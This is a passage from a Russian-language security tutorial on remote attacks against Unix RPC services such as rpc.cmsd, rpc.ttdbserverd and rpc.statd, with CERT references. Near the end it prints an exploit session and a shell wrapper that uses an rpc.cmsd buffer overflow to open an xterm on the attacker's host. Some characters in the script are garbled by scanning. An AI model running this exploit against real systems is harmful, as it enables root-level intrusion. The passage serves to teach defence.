Иллюстрированный самоучитель по защите в Интернет

Часто используемые методы удаленного взлома

Службы удаленного вызова процедур (RPC)

Удаленный вызов процедур (RPC – Remote Procedure Call) – это механизм, который позволяет программе, работающей на одном компьютере, выполнять программный код на удаленном компьютере. Одна из первых реализаций службы RPC была разработана компанией Sun Microsystems и использовалась в системе, базирующейся на протоколе XDR (внешнее представление данных – eXtemal Data Representation). Целью этой системы было обеспечение взаимодействия сетевой информационной службы (NIS – Network Information System) и сетевой файловой системы (NFS – Network File System), созданных компанией Sun.

После разработки компанией Sun Microsystems службы RPC многие другие производители операционных систем семейства UNIX также стали включать поддержку RPC в свои продукты. С точки зрения обеспечения взаимодействия распространение и стандартизация RPC – это очень важно и полезно. Однако при разработке службы RPC вопросам безопасности практически не уделялось никакого внимания. Несмотря на то что и компания Sun, и другие разработчики приложили все усилия, для того, чтобы устранить имеющиеся недостатки в уже используемом программном обеспечении и выпустить соответствующие модули обновления, нередко оказывается, что механизм RPC по-прежнему таит в себе немало проблем, связанных с огромным количеством ошибок в системе защиты.

Как уже отмечалось в главе 3, при запуске службы RPC регистрируются с помощью службы преобразования портов (portmapper). Для того чтобы установить связь со службой RPC, у службы portmapper необходимо запросить номер порта RPC. Ранее уже рассматривался метод получения списка запущенных служб RPC, заключающийся в сканировании портов с использованием утилиты rpcinfo или параметра -n (если служба portmapper блокируется на уровне брандмауэра). К сожалению, во многих версиях UNIX после загрузки по умолчанию включается режим поддержки RPC. Но это еще полбеды – настоящая проблема состоит в том, что многие службы RPC очень сложны и работают на уровне привилегий суперпользователя root.

Таким образом, успешный взлом путем переполнения буфера или при отсутствии проверки ввода приведет к немедленному получению доступа в качестве суперпользователя. На момент написания данной книги взлому путем переполнения буфера были наиболее подвержены службы rpc .ttdbserverd (http://www.cert.org/advisories/CA-98.11.tooltalk.html) и rpc.cmsd (http://www.cert.org/advisories/CA-99-08-cmsd.html), являющиеся частью стандартного рабочего стола (Common Desktop Environment – CDE). Поскольку обе службы работают на уровне привилегий суперпользователя, взломщику достаточно вызвать состояние переполнения буфера и создать обратный канал, воспользовавшись программой xterm либо установив реверсивный telnet-сеанс.

К другим не менее опасным службам RPC относятся rpc.statd (http://www.cert.org/advisories/CA-99-05-statd-automountd.html) и rpc.mountd, которые оказываются активными при использовании сетевой файловой системы NFS (см. раздел "Nfs" ниже в этой главе). Даже если служба преобразования портов заблокирована, взломщик может вручную просканировать порты и попытаться выявить активные службы RPC (с помощью параметра -sR утилиты nmар), с которыми обычно связаны порты с большими номерами. Вышеупомянутые службы представляют собой лишь несколько примеров проблем, которые может создать поддержка механизма RPC. Благодаря распределенной природе служб RPC и высокой сложности их компонентов, этот механизм часто является жертвой злоумышленников, что и продемонстрировано в следующем фрагменте.

[rumble]* cmsd.sh quake
192.168.1.11 2 192.168.1.103
Executing exploit…
rtable_create worked
clnt__call[rtable_insert]: RPC:
Unable to receive; errno=Connection
reset
by peer

Как показано ниже, эту атаку позволяет упростить простой сценарий оболочки, в котором вызывается утилита cmsd. При этом необходимо знать имя удаленного узла. В рассматриваемом примере таким именем является quake. Кроме того, используется также IP-адрес этого узла, 192.168.1.11, а также тип системы (2), что эквивалентно системе Solaris 2.6. Эта информация оказывается чрезвычайно важной, поскольку утилита "приспосабливается" к каждой конкретной системе. И наконец, мы указали также IP-адрес компьютера взломщика (192.168.1.103) и установили обратный канал с использованием программы xterm (рис. 8.2).

Иллюстрированный самоучитель по защите в Интернет › Уязвимость Unix › Часто используемые методы удаленного взлома
Рис. 8.2. Окно xterm, появившееся в результате использования утилиты cmsd. Этого же результата можно достигнуть при использовании служб rpc .ttdbserverd или rpc .statd:

#!/bin/sh
if [ $# – It 4 ]; then
echo "Rpc.cmsd buffer overflow for
Solaris 2.5 & 2.6 7"
echo "If rpcinfo -p target_ip 1grep
100068 = true – you win!"
echo "Don't forget to xhost+ the target system"
echo ""
echo "Usage: $0 target_hostname target_ip <
0/S version (1-7)> your_ip"
exit 1
fi
echo "Executing exploit…"
cmsd -h $1 -c "/usr/openwin/bin/xterm -display
$4:0.0 &" $3 $2
Если Вы заметили ошибку, выделите, пожалуйста, необходимый текст и нажмите CTRL + Enter, чтобы сообщить об этом редактору.